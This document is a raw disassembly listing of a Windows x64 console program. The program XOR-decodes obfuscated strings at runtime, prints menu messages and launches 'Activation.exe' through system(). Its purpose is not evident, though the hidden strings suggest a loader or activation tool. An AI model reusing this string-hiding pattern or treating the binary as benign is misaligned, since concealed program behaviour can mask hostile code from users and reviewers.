movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140035b30
cmp r8d, 0x22
jge 0x140035c83
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140035c50
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
movups xmm0, xmmword [str.qXQW_e_T_5_c___2h__kym3__7_V]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1400b4978]
movups xmmword [rbp], xmm1
movzx eax, byte [0x1400b4988]
mov byte [rbp + 0x10], al
mov r8d, ebx
cmp esi, 2
jl 0x140035dfd
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140035cf0
cmp r8d, 0x21
jge 0x140035e43
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140035e10
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
movups xmm0, xmmword [0x1400b2e50]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x1400b2e60]
movups xmmword [rsp + 0x70], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140036003
cmp esi, 2
jl 0x140035fc7
movdqa xmm5, xmmword [0x1400b4b50]
mov edx, ebx
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140035ec0
jmp 0x140036003
lea r9, [rsp + 0x60]
mov r8d, ebx
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140035fd0
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
mov ecx, 0x1388
jmp 0x1400367f9
lea rcx, [rbp + 0xe30]
cmp rdi, 0xf
cmova rcx, r13
cmp rbx, 1
jne 0x140036067
mov r8, rbx
lea rdx, [0x1400b22c4]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140036067
lea rcx, str.start_.Activation.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
cmp rdi, 0xf
jbe 0x14002fbf9
lea rdx, [rdi + 1]
jmp 0x14002fbcc
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xda0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xda8], rax
movaps xmm0, xmmword [rbp + 0xda0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.140037ee0
mov eax, dword [rbp - 0x20]
bts eax, 0x19
mov dword [rbp - 0x20], eax
mov dword [rsp + 0x5c], eax
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, str.Error
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xdb0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xdb8], rax
movaps xmm0, xmmword [rbp + 0xdb0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x70]
call fcn.140037ee0
mov eax, dword [rbp - 0x20]
bts eax, 0x1a
mov dword [rbp - 0x20], eax
mov dword [rsp + 0x5c], eax
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x70]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x10]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0xdc0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0xdc8], rax
movaps xmm0, xmmword [rbp + 0xdc0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xdd0]
call fcn.140037ee0
mov ebx, dword [rbp - 0x20]
bts ebx, 0x1b
mov dword [rsp + 0x5c], ebx
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0xdd0]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Invalid_Option___n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
btr ebx, 0x1b
lea rcx, [rbp + 0xdd0]
call fcn.140036980
btr ebx, 0x1a
lea rcx, [rbp + 0x70]
call fcn.140036980
btr ebx, 0x19
mov dword [rbp - 0x20], ebx
mov dword [rsp + 0x5c], ebx
lea rcx, [rbp + 0x50]
call fcn.140036980
movups xmm0, xmmword [0x1400b4720]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1400b4730]
movups xmmword [rbp], xmm1
movzx eax, word [0x1400b4740]
mov word [rbp + 0x10], ax
xor ebx, ebx
mov r8d, ebx
cmp esi, 2
jl 0x14003641d
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140036310
cmp r8d, 0x22
jge 0x140036463
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140036430
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
movups xmm0, xmmword [str.qXQW_e_T_5_c___2h__kym3__7_V]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1400b4978]
movups xmmword [rbp], xmm1
movzx eax, byte [0x1400b4988]
mov byte [rbp + 0x10], al
mov r8d, ebx
cmp esi, 2
jl 0x1400365dd
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400364d0
cmp r8d, 0x21
jge 0x140036623
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400365f0
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
movups xmm0, xmmword [0x1400b2e50]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x1400b2e60]
movups xmmword [rsp + 0x70], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x1400367e3
cmp esi, 2
jl 0x1400367a7
movdqa xmm5, xmmword [0x1400b4b50]
mov edx, ebx
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x1400366a0
jmp 0x1400367e3
lea r9, [rsp + 0x60]
mov r8d, ebx
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x1400367b0
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rax, qword [rbp + 0xe48]
cmp rax, 0xf
jbe 0x14003683a
lea rdx, [rax + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x140036832
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036885
mov rcx, r13
call fcn.14009bb5c
mov qword [rbp + 0xe40], rbx
mov qword [rbp + 0xe48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xe30], 0
jmp 0x14002d890
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002420
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400024c0
int3
call fcn.1400024c0
nop
call fcn.140036f40
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x28], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3